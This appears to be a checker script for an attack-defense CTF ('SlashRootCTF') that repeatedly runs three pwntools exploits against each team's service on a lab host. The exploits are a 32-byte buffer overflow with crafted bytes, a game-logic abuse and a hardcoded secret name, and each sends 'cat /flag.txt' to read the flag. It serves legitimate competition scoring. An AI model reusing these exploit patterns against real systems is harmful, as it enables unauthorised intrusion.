|
|
- #! /usr/bin/env python3
- # from pwn import context, remote
- from pwn import remote, context
- from multiprocessing import Pool
- from time import sleep
- import logging
- import os
-
- context.log_level = logging.ERROR
-
- INTERVAL = 60
- HOST = "192.168.2.20"
- TOTAL_TEAMS = 10
- FORMAT = "SlashRootCTF"
-
-
- def poc0(host, port):
- with remote(host, port) as p:
- p.recvuntil(">")
- p.sendline(("A" * 32) + ("\x11\x11\x11\x11\x11\x11\x11\x11\x01"))
- msg = p.recvuntil(">").decode('utf-8')
- # print(msg)
- if "young" in msg:
- p.sendline("y")
- p.recvuntil(">")
- p.sendline("2")
- p.recvuntil(">")
- p.sendline("4")
- p.recvuntil(">")
- p.sendline("y")
- for _ in range(10):
- p.recvuntil(">")
- p.sendline("99")
- p.sendline("cat /flag.txt")
- flag = p.recvuntil("}").decode('utf-8')
- # print flag
- if FORMAT in flag:
- return True
- else:
- return False
- else:
- return False
-
-
- def poc1(host, port):
- with remote(host, port) as p:
- p.recvuntil(">")
- p.sendline("Leo")
- p.recvuntil(">")
- p.sendline("y")
- for _ in range(2):
- p.recvuntil(">")
- p.sendline("3")
- p.recvuntil(">")
- p.sendline("0")
- if "Who" in p.recvuntil(">").decode('utf-8'):
- return False
- p.sendline("y")
- p.recvuntil(">")
- p.sendline("1")
- p.recvuntil(">")
- p.sendline("4")
- p.recvuntil(">")
- p.sendline("y")
- for _ in range(10):
- p.recvuntil(">")
- p.sendline("99")
- p.sendline("cat /flag.txt")
- flag = p.recvuntil("}").decode('utf-8')
- if FORMAT in flag:
- return True
- else:
- return False
-
-
- def poc2(host, port):
- with remote(host, port) as p:
- p.recvuntil(">")
- p.sendline("__th3_w0rLd_D3str0Y3r_15_b4ck__")
- p.recvuntil(">")
- p.sendline("y")
- p.recvuntil(">")
- p.sendline("6")
- if "Lv: 1000000" in p.recvuntil(">").decode('utf-8'):
- p.sendline("2")
- p.recvuntil(">")
- p.sendline("4")
- p.recvuntil(">")
- p.sendline("y")
- for _ in range(10):
- p.recvuntil(">")
- p.sendline("99")
- p.sendline("cat /flag.txt")
- flag = p.recvuntil("}").decode('utf-8')
- if FORMAT in flag:
- return True
- else:
- return False
- else:
- return False
-
-
- def poc(host, port):
- with remote(host, port) as p:
- msg = p.recvuntil(">").decode('utf-8')
- if "Who" in msg:
- p.sendline("Leo")
- msg = p.recvuntil(">").decode('utf-8')
- if "Leo" in msg:
- p.sendline("Y")
- msg = p.recvuntil(">").decode('utf-8')
- if "What" in msg:
- return True
- return False
-
-
- def check(team):
- port = (60004 + (team*100))
- r = poc(HOST, port)
- r0 = poc0(HOST, port)
- r1 = poc1(HOST, port)
- r2 = poc2(HOST, port)
- return "Team [{:02d}] {} {} {} {}".format(team, r, r0, r1, r2)
-
-
- def init_logging(logFileName: str, debug: bool = False):
- logFormatter = logging.Formatter(
- fmt="[%(asctime)s][%(levelname)s] %(message)s",
- datefmt='%d-%b-%y %H:%M:%S')
-
- rootLogger = logging.getLogger("checker")
-
- fileHandler = logging.FileHandler(logFileName)
- fileHandler.setFormatter(logFormatter)
- rootLogger.addHandler(fileHandler)
-
- consoleHandler = logging.StreamHandler()
- consoleHandler.setFormatter(logFormatter)
- rootLogger.addHandler(consoleHandler)
-
- rootLogger.setLevel(logging.DEBUG if debug else logging.INFO)
-
- return rootLogger
-
-
- if __name__ == "__main__":
- checker_logger = init_logging("checker.log")
- while True:
- with Pool(TOTAL_TEAMS) as p:
- results = p.map(check, range(1, TOTAL_TEAMS+1))
- for result in results:
- checker_logger.info(result)
- sleep(INTERVAL)
|